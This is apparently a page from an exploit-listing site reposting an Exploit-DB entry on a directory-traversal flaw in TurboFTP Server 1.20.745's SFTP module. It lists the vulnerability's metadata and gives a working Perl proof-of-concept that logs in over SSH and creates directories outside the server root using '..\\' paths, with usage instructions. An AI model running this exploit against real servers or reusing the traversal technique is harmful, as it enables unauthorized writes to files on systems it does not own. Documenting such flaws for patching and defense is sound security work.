Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
TurboFTP Server Directory Traversal Vulnerability - exploit.company
header-logo
Suggest Exploit
vendor:
TurboFTP Server
by:
leinakesi
7.5
CVSS
HIGH
Directory Traversal
22
CWE
Product Name: TurboFTP Server
Affected Version From: 1.20.745
Affected Version To: 1.20.745
Patch Exists: NO
Related CWE:
CPE: a:turboftp:turboftp_server:1.20.745
Metasploit:
Other Scripts:
Platforms Tested:
2010

TurboFTP Server Directory Traversal Vulnerability

TurboFTP Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue can allow an attacker to download or upload arbitrary files outside the root directory. This may aid in further attacks.

Mitigation:

Unknown
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/40919/info

TurboFTP Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue can allow an attacker to download or upload arbitrary files outside the root directory. This may aid in further attacks.

TurboFTP Server 1.20.745 is vulnerable; prior versions may also be affected. 

#!/usr/bin/perl
#leinakesi[at]gmail.com
#turboFTP Server(sftp module) directory traversal vulnerability

use Net::SSH2;
use Getopt::Std;


@FUZZ = ("..\\A\\", "..\\AA");
getopts('S:P:u:p:', \%opts);
$server = $opts{'S'}; $port = $opts{'P'}; $user = $opts{'u'}; $pass = $opts{'p'};

if(!defined($server) || !defined($port) || !defined($user) || !defined($pass) ) {
	print "usage:\n\tperl	test.pl -S [IP] -P [port] -u [user] -p [password]\nexample:\n";
	print "\tperl	test.pl -S 192.168.48.114 -P 22 -u chloe -p 111111\n";
	exit(0);
}

$ssh2 = Net::SSH2->new();
$ssh2->connect($server, $port) || die "can not connect the server, please check.\n"; $ssh2->auth_password($user, $pass) || die "you sure user name and password are correct?\n"; $sftp = $ssh2->sftp();

foreach(@FUZZ)
{
	if($m = $sftp->mkdir($_))
	{
		print "mkdir success,  $_\n";
	}
}

$ssh2->disconnect();
exit(0);